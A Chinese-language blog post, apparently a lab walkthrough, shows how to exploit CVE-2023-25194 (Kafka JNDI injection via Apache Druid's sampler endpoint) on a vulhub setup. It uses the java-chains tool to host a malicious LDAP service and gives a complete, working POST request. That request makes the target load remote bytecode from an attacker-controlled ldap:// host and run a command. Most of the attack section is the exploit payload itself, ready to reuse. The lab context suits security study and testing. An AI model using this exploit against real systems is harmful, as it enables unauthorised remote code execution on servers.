java-chains的使用&cve-2023-25194

1.环境搭建:

使用vulhub的kafka的环境直接:

docker compose up -d

成功搭建:

2.java-chains的使用

该漏洞是JNDI注入漏洞(已公布),市面上有很多JNID相关的工具,今天主要是java-chains:

Java Chains 是一个 Java Payload 综合生成与利用平台,提供了生成各种 Java Payload 功能,能够用于测试 JNDI 注入、MySQL JDBC 反序列化、JRMP 反序列化等场景

下载官方的jar包:

https://github.com/vulhub/java-chains/releases/latest

部署在服务器上运行,账号是admin,密码在启动日志里:

这里使用JNDI,并且设置好自己的服务器ip启动服务:

3.构造poc

选择字节码(其他的可以自己尝试)然后命令执行:

在下边有想执行的命令:这里随便以 uname -a >> tmp/success 举例

然后生成,用以下在野的poc:

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1405

{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"127.0.0.1:6666",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://java-chains:50389/x\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
            },
            "topic":"test",
            "useEarliestOffset":true,
            "inputFormat":{
                "type":"regex",
                "pattern":"([\\s\\S]*)",
                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{

            },
            "granularitySpec":{
                "rollup":false
            }
        },
        "tuningConfig":{
            "type":"kafka"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}

java-chains替换为自己的IP地址,然后发送请求:

虽然是400但是成功执行了:

posted @ 2025-03-19 17:17  Arrest  阅读(27)  评论(0)    收藏  举报